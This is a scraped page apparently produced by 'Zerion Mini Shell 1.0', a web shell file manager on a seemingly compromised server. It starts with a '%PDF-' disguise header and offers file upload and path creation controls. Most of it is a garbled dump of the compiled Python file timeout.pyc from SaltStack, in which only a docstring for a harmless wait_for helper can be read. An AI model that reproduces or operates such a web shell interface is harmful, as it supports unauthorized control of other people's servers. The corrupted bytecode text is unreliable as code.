%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/utils/timeout.pyc

�
���^c@@seddlmZmZmZddlZddlZeje�ZdZ	dddddd�ZdS(i(tabsolute_importtprint_functiontunicode_literalsNgffffff�?i
ic	C@s�|dkrt�}ntj�|}t|p4d|�t}|}x_tj�|kr�|||�}|r{|}PqJtj|�t||tj��t}qJWtj�|kr�tjd||�n|S(u}
    Call `func` at regular intervals and Waits until the given function returns
    a truthy value within the given timeout and returns that value.

    @param func:
    @type func: function
    @param timeout:
    @type timeout: int | float
    @param step: Interval at which we should check for the value
    @type step: int | float
    @param default: Value that should be returned should `func` not return a truthy value
    @type default:
    @param func_args: *args for `func`
    @type func_args: list | tuple
    @param func_kwargs: **kwargs for `func`
    @type func_kwargs: dict
    @return: `default` or result of `func`
    iu1Exceeded waiting time (%s seconds) to exectute %sN(tNonetdictttimetmintBLUR_FACTORtsleeptlogtwarning(	tfuncttimeouttsteptdefaultt	func_argstfunc_kwargstmax_timetrettcall_ret((s6/usr/lib/python2.7/site-packages/salt/utils/timeout.pytwait_fors
!((t
__future__RRRtloggingRt	getLoggert__name__R	RRR(((s6/usr/lib/python2.7/site-packages/salt/utils/timeout.pyt<module>s


Zerion Mini Shell 1.0